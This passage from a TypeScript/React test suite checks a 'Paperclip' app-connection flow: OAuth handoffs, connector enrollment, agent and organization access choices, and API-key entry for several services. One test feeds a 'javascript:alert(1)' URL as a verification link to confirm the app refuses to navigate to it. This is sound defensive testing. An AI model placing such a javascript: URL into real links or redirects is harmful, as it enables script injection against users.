if (!popupBlocked) expect(popup.close).toHaveBeenCalled();
|
||
await openAccessAdvanced();
|
||
expect(container.textContent).toContain("What should Paperclip be able to do?");
|
||
connectAppMock.mockResolvedValue({ connectionId: "gmail-1", connection: { id: "gmail-1", credentialPolicy: "per_user" }, auth: { kind: "oauth", startUrl: "https://example.test/unbound" } });
|
||
await act(async () => buttonByText("Continue to sign in")?.click());
|
||
await flushReact();
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({ grantKind: "user" }));
|
||
expect(startOAuthMock).toHaveBeenCalledWith("gmail-1", { asCurrentUser: true, interactionId: "intent-1" });
|
||
expect(putConnectionInstallsMock).not.toHaveBeenCalled();
|
||
open.mockRestore();
|
||
});
|
||
|
||
it.each(["request", "missing-url", "invalid-url"])("closes the reserved enrollment popup after %s failure", async (failure) => {
|
||
const popup = { closed: false, location: { assign: vi.fn() }, focus: vi.fn(), close: vi.fn() };
|
||
vi.spyOn(window, "open").mockReturnValue(popup as unknown as Window);
|
||
listGalleryMock.mockResolvedValue({ apps: [customerOwnedApp(GMAIL)] });
|
||
getCloudConnectorEnrollmentMock.mockResolvedValue({ status: "not_configured" });
|
||
if (failure === "request") {
|
||
startCloudConnectorEnrollmentMock.mockRejectedValue(new Error("Enrollment unavailable"));
|
||
} else {
|
||
startCloudConnectorEnrollmentMock.mockResolvedValue({
|
||
status: "pending",
|
||
verificationUrl: failure === "missing-url" ? undefined : "javascript:alert(1)",
|
||
});
|
||
}
|
||
await render(undefined, false, <ConnectionSetupFlow host="dialog" serviceSlug="gmail" interactionId="intent-1" requestedAgentId="agent-1" />);
|
||
await passAccessStep();
|
||
await act(async () => buttonByText("Connect with Paperclip")?.click());
|
||
await flushReact();
|
||
expect(popup.close).toHaveBeenCalledOnce();
|
||
expect(popup.location.assign).not.toHaveBeenCalled();
|
||
expect(navigateTopLevelMock).not.toHaveBeenCalled();
|
||
expect(container.textContent).not.toContain("Finish authorization in the opened window");
|
||
});
|
||
|
||
it("binds OAuth to the task even when setup resumes in the page host", async () => {
|
||
mockSearch.value = "source=gmail&stage=setup&intent=intent-1";
|
||
listGalleryMock.mockResolvedValue({ apps: [{ ...GMAIL, ownershipAvailability: { ...GMAIL.ownershipAvailability, platform_shared: true } }] });
|
||
connectAppMock.mockResolvedValue({ connectionId: "gmail-1", connection: { id: "gmail-1", credentialPolicy: "shared" }, auth: { kind: "oauth", startUrl: "https://example.test/unbound" } });
|
||
await render();
|
||
await act(async () => buttonByText("Continue to sign in")?.click());
|
||
await flushReact();
|
||
expect(startOAuthMock).toHaveBeenCalledWith("gmail-1", { asCurrentUser: false, interactionId: "intent-1" });
|
||
expect(navigateTopLevelMock).not.toHaveBeenCalledWith("https://example.test/unbound");
|
||
});
|
||
|
||
it.each(["2020-01-01T00:00:00.000Z", "2099-01-01T00:00:00.000Z"])(
|
||
"revalidates a cached pending enrollment before continuing (expiry %s)",
|
||
async (expiresAt) => {
|
||
mockSearch.value = "source=github&stage=setup";
|
||
listGalleryMock.mockResolvedValue({
|
||
apps: [customerOwnedApp(GITHUB)],
|
||
});
|
||
getCloudConnectorEnrollmentMock.mockResolvedValue({
|
||
configured: false,
|
||
status: "pending",
|
||
brokerBaseUrl: "https://my-staging.paperclip.app",
|
||
instanceId: "inst-test",
|
||
environment: "staging",
|
||
origins: [],
|
||
verificationUrl: "https://my-staging.paperclip.app/connections/enroll?id=cached",
|
||
expiresAt,
|
||
});
|
||
|
||
await render();
|
||
await act(async () => {
|
||
buttonByText("Continue")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(startCloudConnectorEnrollmentMock).toHaveBeenCalledWith(
|
||
"company-1", "Paperclip", "/apps/connect?source=github&stage=setup",
|
||
);
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||
"https://my-staging.paperclip.app/connections/enroll?id=enroll-test",
|
||
);
|
||
expect(navigateTopLevelMock).not.toHaveBeenCalledWith(
|
||
"https://my-staging.paperclip.app/connections/enroll?id=cached",
|
||
);
|
||
},
|
||
);
|
||
|
||
it("labels GitHub's setup transition as the provider handoff it now is", async () => {
|
||
mockSearch.value = "source=github";
|
||
listGalleryMock.mockResolvedValue({ apps: [GITHUB_MANAGED] });
|
||
|
||
await render();
|
||
|
||
// PAP-659: the screen that used to precede the handoff is gone, so the one
|
||
// primary action names the provider instead of a generic "Continue".
|
||
expect(buttonByText("Continue")).toBeUndefined();
|
||
const handoff = buttonByText("Continue to GitHub");
|
||
expect(handoff).toBeDefined();
|
||
expect(handoff?.disabled).toBe(false);
|
||
|
||
await openAccessAdvanced();
|
||
expect(container.textContent).toContain("How do you want to connect?");
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("keeps provider-specific wording and the handoff cue for direct OAuth", async () => {
|
||
mockSearch.value = "source=notion";
|
||
listGalleryMock.mockResolvedValue({ apps: [NOTION] });
|
||
|
||
await render();
|
||
|
||
const continueButton = buttonByText("Continue to Notion");
|
||
expect(continueButton).toBeDefined();
|
||
expect(continueButton?.querySelector(".lucide-arrow-up-right")).not.toBeNull();
|
||
});
|
||
|
||
it("keeps GitHub's personal identity defaults while its managed method awaits enrollment", async () => {
|
||
mockParams.appKey = "github";
|
||
listGalleryMock.mockResolvedValue({
|
||
apps: [customerOwnedApp(GITHUB)],
|
||
});
|
||
getCloudConnectorEnrollmentMock.mockResolvedValueOnce(unconfiguredConnectorEnrollment());
|
||
|
||
await render();
|
||
|
||
expect(container.textContent).toContain("Connects as you");
|
||
await openAccessAdvanced();
|
||
expect(radioContaining("My GitHub account")?.getAttribute("aria-checked")).toBe("true");
|
||
expect(radioContaining("Any agent")?.getAttribute("aria-checked")).toBe("true");
|
||
expect(container.textContent).toContain("Which agents may use your GitHub when you’re responsible?");
|
||
// Enrolment is the screen; its own action is the only primary one.
|
||
expect(buttonByText("Connect with Paperclip")).toBeDefined();
|
||
expect(buttonByText("Continue to GitHub")).toBeUndefined();
|
||
|
||
await passAccessStep();
|
||
|
||
expect(container.textContent).toContain("Connect with Paperclip");
|
||
expect(container.textContent).not.toContain("GitHub token");
|
||
});
|
||
|
||
it("restores the setup step after the one-time enrollment callback", async () => {
|
||
mockSearch.value = "source=github&stage=setup&cloud_connector=enrolled";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [GITHUB_MANAGED] });
|
||
|
||
await render();
|
||
|
||
expect(container.textContent).toContain("Continue to GitHub");
|
||
expect(container.textContent).not.toContain("Connect GitHub as");
|
||
expect(container.textContent).not.toContain("Connect with Paperclip");
|
||
});
|
||
|
||
it("explains unavailable GitHub sign-in without silently switching to a PAT", async () => {
|
||
mockSearch.value = "source=github&stage=setup&cloud_connector=enrolled";
|
||
listGalleryMock.mockResolvedValueOnce({
|
||
apps: [customerOwnedApp(GITHUB)],
|
||
});
|
||
|
||
await render();
|
||
|
||
expect(container.textContent).not.toContain("Chat with an agent");
|
||
expect(container.textContent).not.toContain("GitHub App ID");
|
||
expect(container.textContent).toContain("GitHub sign-in is unavailable");
|
||
expect(container.textContent).not.toContain("Your GitHub key");
|
||
expect(container.querySelector('input[type="password"]')).toBeNull();
|
||
expect(buttonByText("Try again")?.disabled).toBe(false);
|
||
|
||
listGalleryMock.mockResolvedValue({ apps: [GITHUB_MANAGED] });
|
||
await act(async () => buttonByText("Try again")!.click());
|
||
await flushReact();
|
||
expect(container.textContent).toContain("Continue to GitHub");
|
||
expect(container.textContent).not.toContain("GitHub sign-in is unavailable");
|
||
});
|
||
|
||
it("keeps GitHub sign-in intent when enrollment recovery reveals an unavailable profile", async () => {
|
||
mockSearch.value = "source=github&stage=setup&cloud_connector=enrolled";
|
||
listGalleryMock.mockResolvedValueOnce({
|
||
apps: [customerOwnedApp(GITHUB)],
|
||
});
|
||
getCloudConnectorEnrollmentMock
|
||
.mockRejectedValueOnce(new Error("Cloud unavailable"))
|
||
.mockResolvedValueOnce(activeConnectorEnrollment());
|
||
const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
|
||
|
||
await render(queryClient);
|
||
|
||
expect(container.textContent).toContain("Paperclip couldn’t check Cloud registration. Try again.");
|
||
expect(container.textContent).not.toContain("Your GitHub key");
|
||
|
||
await act(async () => {
|
||
await queryClient.invalidateQueries({ queryKey: ["cloud-connector", "enrollment"] });
|
||
});
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("GitHub sign-in is unavailable");
|
||
expect(container.textContent).not.toContain("Your GitHub key");
|
||
expect(buttonByText("Try again")?.disabled).toBe(false);
|
||
});
|
||
|
||
it("preserves a dedicated agent identity across the full-page enrollment callback", async () => {
|
||
mockParams.appKey = "github";
|
||
listGalleryMock.mockResolvedValue({
|
||
apps: [customerOwnedApp(GITHUB)],
|
||
capabilities: {
|
||
canCreateOrganizationGrant: true,
|
||
organizationGrantReason: null,
|
||
canSetCompanyInstall: true,
|
||
companyInstallReason: null,
|
||
},
|
||
});
|
||
getCloudConnectorEnrollmentMock.mockResolvedValue(unconfiguredConnectorEnrollment());
|
||
|
||
await render();
|
||
await openAccessAdvanced();
|
||
await act(async () => {
|
||
radioContaining("A dedicated account for an agent")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await act(async () => {
|
||
buttonByText("Select agents")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await act(async () => {
|
||
document.body.querySelector<HTMLElement>('[aria-label="Allow Ada"]')
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await act(async () => {
|
||
buttonByText("Connect with Paperclip")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(JSON.parse(window.sessionStorage.getItem(
|
||
"paperclip.connector-enrollment-access:github",
|
||
) ?? "null")).toEqual({
|
||
companyId: "company-1",
|
||
grantKind: "agent",
|
||
installChoice: "specific",
|
||
agentIds: ["agent-1"],
|
||
});
|
||
|
||
await act(async () => mountedRoot?.unmount());
|
||
mountedRoot = null;
|
||
container.innerHTML = "";
|
||
mockParams.appKey = undefined;
|
||
mockSearch.value = "source=github&stage=setup&cloud_connector=enrolled";
|
||
mockCompany.value = { selectedCompanyId: undefined, selectedCompany: null };
|
||
listGalleryMock.mockResolvedValue({ apps: [GITHUB_MANAGED] });
|
||
getCloudConnectorEnrollmentMock.mockResolvedValue(activeConnectorEnrollment());
|
||
|
||
const coldLoadClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
|
||
await render(coldLoadClient);
|
||
|
||
expect(window.sessionStorage.getItem("paperclip.connector-enrollment-access:github")).toBeNull();
|
||
mockCompany.value = {
|
||
selectedCompanyId: "company-1",
|
||
selectedCompany: { id: "company-1", name: "Paperclip" },
|
||
};
|
||
await act(async () => {
|
||
mountedRoot?.render(
|
||
<QueryClientProvider client={coldLoadClient}>
|
||
<TooltipProvider><AppsConnect /></TooltipProvider>
|
||
</QueryClientProvider>,
|
||
);
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("Connects as a dedicated agent account");
|
||
expect(window.sessionStorage.getItem(
|
||
"paperclip.connector-enrollment-access:github",
|
||
)).toBeNull();
|
||
await act(async () => {
|
||
buttonByText("Continue to GitHub")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
galleryKey: "github",
|
||
grantKind: "agent",
|
||
subjectAgentId: "agent-1",
|
||
}));
|
||
});
|
||
|
||
it.each([...new Set(Object.values(GOOGLE_WORKSPACE_CONNECTOR_PROFILES).map((profile) => profile.appSlug))]
|
||
.flatMap((slug) => [false, true].map((enrollmentReturn) => ({ slug, enrollmentReturn }))))(
|
||
"preserves personal Workspace access for $slug when changing method (enrollment return: $enrollmentReturn)",
|
||
async ({ slug, enrollmentReturn }) => {
|
||
const definition = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === slug)!;
|
||
const readMethod = definition.methods.find((method) => method.key === "paperclip-read" || method.key === "paperclip-workspace")!;
|
||
mockSearch.value = enrollmentReturn
|
||
? `source=${slug}&stage=setup&cloud_connector=enrolled`
|
||
: `source=${slug}`;
|
||
if (enrollmentReturn) {
|
||
window.sessionStorage.setItem(`paperclip.connector-enrollment-access:${slug}`, JSON.stringify({
|
||
companyId: "company-1", grantKind: "user", installChoice: "all", agentIds: [],
|
||
}));
|
||
}
|
||
listGalleryMock.mockResolvedValue({ apps: [{
|
||
...definition, ownershipAvailability: { ...definition.ownershipAvailability, platform_shared: true },
|
||
}] });
|
||
await render();
|
||
await openAccessAdvanced();
|
||
if (!enrollmentReturn) {
|
||
await act(async () => {
|
||
radioContaining("Just me")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
}
|
||
|
||
if (definition.methods.some((method) => method.capabilityProfile?.key !== readMethod.capabilityProfile?.key)) {
|
||
const readChoice = radioContaining(readMethod.capabilityProfile!.label);
|
||
expect(readChoice).not.toBeNull();
|
||
await act(async () => {
|
||
readChoice!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
}
|
||
await flushReact();
|
||
// Change auth methods too, including apps with only one capability.
|
||
expect(container.textContent).not.toContain("Connect with Paperclip");
|
||
expect(container.textContent).not.toContain("needs its own OAuth app");
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(false);
|
||
const customerAuth = buttonByText("Use your own Google OAuth app");
|
||
expect(customerAuth).toBeDefined();
|
||
expect(customerAuth?.getAttribute("aria-expanded")).toBe("false");
|
||
await act(async () => {
|
||
customerAuth!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
expect(container.textContent).toContain("needs its own OAuth app");
|
||
expect(container.textContent).toContain("Client ID");
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(true);
|
||
const managedAuth = buttonByText("Use Paperclip instead");
|
||
expect(managedAuth).toBeDefined();
|
||
expect(managedAuth?.getAttribute("aria-expanded")).toBe("true");
|
||
const fieldsRegion = document.getElementById(managedAuth!.getAttribute("aria-controls")!);
|
||
expect(fieldsRegion?.getAttribute("role")).toBe("region");
|
||
expect(fieldsRegion?.textContent).toContain("Client ID");
|
||
await act(async () => {
|
||
managedAuth!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
expect(container.textContent).not.toContain("needs its own OAuth app");
|
||
await act(async () => {
|
||
buttonByText("Continue to sign in")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
if (slug === "google-workspace") {
|
||
await act(async () => buttonByText("Continue")!.click());
|
||
await flushReact();
|
||
}
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
galleryKey: slug, connectionMethodKey: readMethod.key, grantKind: "user",
|
||
}));
|
||
});
|
||
|
||
it("never renders self-host enrollment when the connector identity is already active", async () => {
|
||
mockSearch.value = "source=gmail&stage=setup";
|
||
listGalleryMock.mockResolvedValueOnce({
|
||
apps: [customerOwnedApp(GMAIL)],
|
||
});
|
||
|
||
await render();
|
||
|
||
expect(container.textContent).not.toContain("You must connect this instance to Paperclip");
|
||
expect(container.textContent).not.toContain("Connect with Paperclip");
|
||
});
|
||
|
||
it("keeps Google Drive prerequisites off access and defaults to its write-capable method", async () => {
|
||
mockParams.appKey = "google-drive";
|
||
listGalleryMock.mockResolvedValue({ apps: [GOOGLE_DRIVE] });
|
||
|
||
await render();
|
||
|
||
expect(container.textContent).not.toContain("Google Developer Preview access required");
|
||
expect(container.textContent).not.toContain("does not enable unrelated Paperclip customers");
|
||
expect(container.textContent).not.toContain("final project-registration email");
|
||
expect(container.textContent).not.toContain("Apply or verify Developer Preview enrollment");
|
||
await openAccessAdvanced();
|
||
expect(radioContaining("Just me")).toBeTruthy();
|
||
expect(radioContaining("Any human in the organization")?.getAttribute("aria-checked")).toBe("true");
|
||
await passAccessStep();
|
||
|
||
expect(container.textContent).toContain("Read & create");
|
||
expect(radioContaining("Read & create")?.getAttribute("aria-checked")).toBe("true");
|
||
expect(radioContaining("Read only")?.getAttribute("aria-checked")).toBe("false");
|
||
expect(container.textContent).not.toContain("Before connecting, enroll the signed-in Workspace account");
|
||
expect(container.textContent).toContain("Review requirements");
|
||
expect(container.textContent).toContain("needs its own OAuth app");
|
||
});
|
||
|
||
it("selects Workspace service groups before creating a single connection", async () => {
|
||
mockSearch.value = "source=google-workspace&stage=setup";
|
||
const workspace = getAppStoreDefinition("google-workspace")!;
|
||
listGalleryMock.mockResolvedValue({ apps: [{
|
||
...workspace, ownershipAvailability: { ...workspace.ownershipAvailability, platform_shared: true },
|
||
}] });
|
||
await render();
|
||
|
||
expect(container.textContent).toContain("Google Workspace");
|
||
expect(container.textContent).not.toContain("What should Paperclip be able to do?");
|
||
await openAccessAdvanced();
|
||
expect(buttonByText("Use your own Google OAuth app")).toBeDefined();
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(false);
|
||
await act(async () => {
|
||
buttonByText("Continue to sign in")!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
const dialog = document.querySelector('[role="dialog"]')!;
|
||
expect(dialog.textContent).toContain("Docs, Sheets, and Slides");
|
||
expect(dialog.querySelectorAll('[role="switch"]')).toHaveLength(3);
|
||
expect(dialog.textContent).not.toContain("Contacts");
|
||
expect(dialog.textContent).not.toContain("compose permission");
|
||
const gmail = dialog.querySelector('select[aria-label="Gmail access"]') as HTMLSelectElement;
|
||
await act(async () => {
|
||
gmail.value = "read";
|
||
gmail.dispatchEvent(new Event("change", { bubbles: true }));
|
||
});
|
||
await act(async () => {
|
||
Array.from(dialog.querySelectorAll("button")).find(button => button.textContent === "Continue")!.click();
|
||
});
|
||
await flushReact();
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
galleryKey: "google-workspace", connectionMethodKey: "paperclip-workspace",
|
||
workspaceServices: { gmail: "read", drive: "write", calendar: "write" },
|
||
}));
|
||
});
|
||
|
||
it("renders Google Calendar as one minimal, unboxed setup screen", async () => {
|
||
mockParams.appKey = "google-calendar";
|
||
listGalleryMock.mockResolvedValue({ apps: [GOOGLE_CALENDAR] });
|
||
|
||
await render();
|
||
await passAccessStep();
|
||
|
||
const duplicateHeadings = Array.from(container.querySelectorAll("h1, h2")).filter(
|
||
(heading) => heading.textContent?.trim() === "Connect Google Calendar",
|
||
);
|
||
expect(duplicateHeadings).toHaveLength(1);
|
||
await openAccessAdvanced();
|
||
expect(container.textContent).toContain("What should Paperclip be able to do?");
|
||
expect(container.textContent).toContain("Review requirements");
|
||
expect(container.textContent).not.toContain("Connect Google Calendar to read and manage events.");
|
||
expect(container.textContent).not.toContain("All event mutations require approval.");
|
||
expect(container.textContent).not.toContain("Google Workspace MCP servers are in Developer Preview.");
|
||
expect(container.textContent).not.toContain("We filled this in from the app.");
|
||
expect(container.textContent).not.toContain("You’ll continue to Google Calendar");
|
||
expect(container.textContent).not.toContain("You’ll sign in before anything turns on.");
|
||
expect(container.querySelector('input[placeholder="My app"]')).toBeNull();
|
||
|
||
const capabilityQuestion = Array.from(container.querySelectorAll("label")).find(
|
||
(label) => label.textContent === "What should Paperclip be able to do?",
|
||
);
|
||
expect(capabilityQuestion?.closest(".max-w-xl")?.classList.contains("bg-card")).toBe(false);
|
||
});
|
||
|
||
it("keeps Shopify prerequisite copy off access before collecting the store domain", async () => {
|
||
mockParams.appKey = "shopify";
|
||
listGalleryMock.mockResolvedValue({ apps: [SHOPIFY] });
|
||
|
||
await render();
|
||
|
||
expect(container.textContent).not.toContain("Launch the storefront before connecting");
|
||
expect(container.textContent).not.toContain("Storefront visibility to Public");
|
||
expect(container.textContent).not.toContain("Open Shopify Admin");
|
||
await passAccessStep();
|
||
|
||
expect(container.textContent).not.toContain("Launch the storefront before connecting");
|
||
expect(container.textContent).not.toContain("Open Shopify Admin");
|
||
});
|
||
|
||
/**
|
||
* Design §"Question 2": a member who may create a personal grant but cannot
|
||
* configure a company-wide install sees **Any agent** disabled with the
|
||
* reason — not hidden. Disabling it is only half the job; Continue has to
|
||
* refuse it too, or the forbidden choice is still submittable by keyboard.
|
||
*
|
||
* Driven through AppsConnect so this proves the pre-connection capability
|
||
* returned with the gallery reaches the real create flow.
|
||
*/
|
||
it("disables Any agent and blocks Continue when the member cannot install company-wide", async () => {
|
||
mockParams.appKey = "posthog";
|
||
listGalleryMock.mockResolvedValueOnce({
|
||
apps: [POSTHOG],
|
||
capabilities: {
|
||
canCreateOrganizationGrant: false,
|
||
organizationGrantReason: "Only connection managers can share this credential.",
|
||
canSetCompanyInstall: false,
|
||
companyInstallReason: "Your company policy limits this choice to connection managers.",
|
||
},
|
||
});
|
||
await render();
|
||
await openAccessAdvanced();
|
||
|
||
const anyAgent = Array.from(
|
||
document.body.querySelectorAll<HTMLButtonElement>('[role="radio"]'),
|
||
).find((r) => r.textContent?.includes("Any agent"));
|
||
|
||
// Visible and not selectable; the reason stays available without adding
|
||
// visual subtext to the compact option.
|
||
expect(anyAgent).toBeTruthy();
|
||
expect(anyAgent?.disabled).toBe(true);
|
||
expect(anyAgent?.textContent).not.toContain(
|
||
"Your company policy limits this choice to connection managers.",
|
||
);
|
||
expect(anyAgent?.getAttribute("title")).toBe(
|
||
"Your company policy limits this choice to connection managers.",
|
||
);
|
||
expect(anyAgent?.getAttribute("aria-label")).toContain(
|
||
"Your company policy limits this choice to connection managers.",
|
||
);
|
||
const organization = radioContaining("Any human in the organization");
|
||
expect(organization?.disabled).toBe(true);
|
||
expect(organization?.getAttribute("title")).toBe(
|
||
"Only connection managers can share this credential.",
|
||
);
|
||
expect(radioContaining("Just me")?.disabled).toBe(false);
|
||
// "Just agents I pick" is the live alternative, so the step is not a dead end.
|
||
const pick = Array.from(
|
||
document.body.querySelectorAll<HTMLButtonElement>('[role="radio"]'),
|
||
).find((r) => r.textContent?.includes("Just agents I pick"));
|
||
expect(pick?.disabled).toBe(false);
|
||
// PAP-659: a reach the member cannot grant is reported above the primary
|
||
// action rather than disabling it, and "Just agents I pick" is the live
|
||
// alternative, so the screen is not a dead end.
|
||
expect(container.textContent).toContain(
|
||
"Your company policy limits this choice to connection managers.",
|
||
);
|
||
});
|
||
|
||
it("opens the selected app directly on its setup route", async () => {
|
||
mockParams.appKey = "github";
|
||
await render();
|
||
|
||
// PAP-659: a deep-linked app lands on its one connect screen. Identity and
|
||
// reach are stated there and changed in the same Advanced disclosure.
|
||
expect(container.textContent).toContain("Connects for everyone in your organization");
|
||
await openAccessAdvanced();
|
||
expect(container.textContent).toContain("Connect GitHub as");
|
||
|
||
expect(container.textContent).toContain("Connect GitHub");
|
||
expect(container.textContent).not.toContain("Pick the app you want your agents to use.");
|
||
});
|
||
|
||
it.each([
|
||
"mcp-oauth", "mcp-api-key", "mcp-eu-oauth", "mcp-eu-api-key",
|
||
])("submits the selected Braintrust region and authentication (%s)", async (methodKey) => {
|
||
mockSearch.value = "source=braintrust";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [BRAINTRUST] });
|
||
const method = BRAINTRUST.methods.find((candidate) => candidate.key === methodKey)!;
|
||
await render();
|
||
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(false);
|
||
expect(container.textContent).toContain("permissions");
|
||
expect(container.textContent).toContain("cost");
|
||
expect(container.textContent).toContain("permanently delete");
|
||
expect(container.querySelector('input[type="password"]')).toBeNull();
|
||
await openAccessAdvanced();
|
||
expect(radioContaining(BRAINTRUST.methods[0]!.label!)?.getAttribute("aria-checked")).toBe("true");
|
||
await act(async () => { radioContaining(method.label!)!.click(); });
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("permissions");
|
||
expect(container.textContent).toContain("cost");
|
||
expect(container.textContent).toContain("permanently delete");
|
||
if (method.auth === "api_key") {
|
||
const input = container.querySelector<HTMLInputElement>('input[type="password"]')!;
|
||
expect(input).toBeTruthy();
|
||
expect(buttonByText("Connect")?.disabled).toBe(true);
|
||
await act(async () => setInputValue(input, "braintrust-ui-canary"));
|
||
await flushReact();
|
||
}
|
||
await act(async () => { buttonByText(method.auth === "oauth" ? "Continue to sign in" : "Connect")!.click(); });
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
galleryKey: "braintrust",
|
||
connectionMethodKey: methodKey,
|
||
...(method.auth === "api_key" ? { credentialValues: { "credentials.authorization": "braintrust-ui-canary" } } : {}),
|
||
}));
|
||
expect(JSON.stringify({ ...window.sessionStorage, ...window.localStorage })).not.toContain("braintrust-ui-canary");
|
||
});
|
||
|
||
it("resumes the selected Braintrust EU OAuth draft after cancellation", async () => {
|
||
const connectionId = "22222222-2222-4222-8222-222222222222";
|
||
mockSearch.value = `source=braintrust&resume=${connectionId}&oauth=denied`;
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [BRAINTRUST] });
|
||
listApplicationsMock.mockResolvedValueOnce({ applications: [{
|
||
id: "braintrust-app", status: "draft", metadata: { sourceTemplateKey: "braintrust" },
|
||
}] });
|
||
listConnectionsMock.mockResolvedValueOnce({ connections: [{
|
||
id: connectionId, applicationId: "braintrust-app", authKind: "oauth", credentialPolicy: "per_user", status: "draft",
|
||
config: { sourceTemplateKey: "braintrust", connectionMethodKey: "mcp-eu-oauth", url: "https://api-eu.braintrust.dev/mcp" }, transportConfig: {},
|
||
}] });
|
||
startOAuthMock.mockResolvedValueOnce(oauthStartResponse(connectionId, "braintrust", "https://api-eu.braintrust.dev/oauth/authorize"));
|
||
await render();
|
||
await act(async () => { buttonByText("Try again")!.click(); });
|
||
await flushReact();
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).toHaveBeenCalledWith(connectionId, { asCurrentUser: true });
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith("https://api-eu.braintrust.dev/oauth/authorize");
|
||
});
|
||
|
||
it("connects Superagent with only an organization API key", async () => {
|
||
mockParams.appKey = "superagent";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [SUPERAGENT] });
|
||
await render();
|
||
|
||
expect(radioContaining("Sign in with")).toBeFalsy();
|
||
// The Ask-first advice must be visible on the key form, which renders the
|
||
// credential helper text rather than method warnings.
|
||
expect(container.textContent).toContain("set billable and destructive actions to Ask first");
|
||
const keyInput = container.querySelector<HTMLInputElement>('input[type="password"]');
|
||
expect(keyInput).toBeTruthy();
|
||
expect(buttonByText("Connect")?.disabled).toBe(true);
|
||
|
||
await act(async () => {
|
||
setInputValue(keyInput!, "sk_live_test-key");
|
||
});
|
||
await flushReact();
|
||
const submit = buttonByText("Connect");
|
||
expect(submit?.disabled).toBe(false);
|
||
await act(async () => {
|
||
submit?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
galleryKey: "superagent",
|
||
connectionMethodKey: "mcp-api-key",
|
||
credentialValues: { "credentials.authorization": "sk_live_test-key" },
|
||
}));
|
||
});
|
||
|
||
it("defaults Ditto to browser sign-in and connects a workspace API key once entered", async () => {
|
||
mockParams.appKey = "ditto";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [DITTO] });
|
||
await render();
|
||
// The delete warning must be visible on the default sign-in path.
|
||
expect(container.textContent).toContain("delete tools cannot be undone");
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(false);
|
||
await openAccessAdvanced();
|
||
|
||
expect(radioContaining("Sign in with Ditto")?.getAttribute("aria-checked")).toBe("true");
|
||
await act(async () => {
|
||
radioContaining("Use an API key")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("set delete and link actions to Ask first");
|
||
const keyInput = container.querySelector<HTMLInputElement>('input[type="password"]');
|
||
expect(keyInput).toBeTruthy();
|
||
expect(buttonByText("Connect")?.disabled).toBe(true);
|
||
|
||
await act(async () => {
|
||
setInputValue(keyInput!, "ditto-test-key");
|
||
});
|
||
await flushReact();
|
||
const submit = buttonByText("Connect");
|
||
expect(submit?.disabled).toBe(false);
|
||
await act(async () => {
|
||
submit?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
galleryKey: "ditto",
|
||
connectionMethodKey: "mcp-api-key",
|
||
credentialValues: { "credentials.authorization": "ditto-test-key" },
|
||
}));
|
||
});
|
||
|
||
it("defaults Gauge to browser sign-in and connects an organization API key once entered", async () => {
|
||
mockParams.appKey = "gauge";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [GAUGE] });
|
||
await render();
|
||
// The publish warning must be visible on the default sign-in path, before
|
||
// the operator opens Advanced or switches to the API-key method.
|
||
expect(container.textContent).toContain("can publish to your connected CMS, including live");
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(false);
|
||
await openAccessAdvanced();
|
||
|
||
expect(radioContaining("Sign in with Gauge")?.getAttribute("aria-checked")).toBe("true");
|
||
expect(buttonByText("Continue to sign in")?.disabled).toBe(false);
|
||
|
||
await act(async () => {
|
||
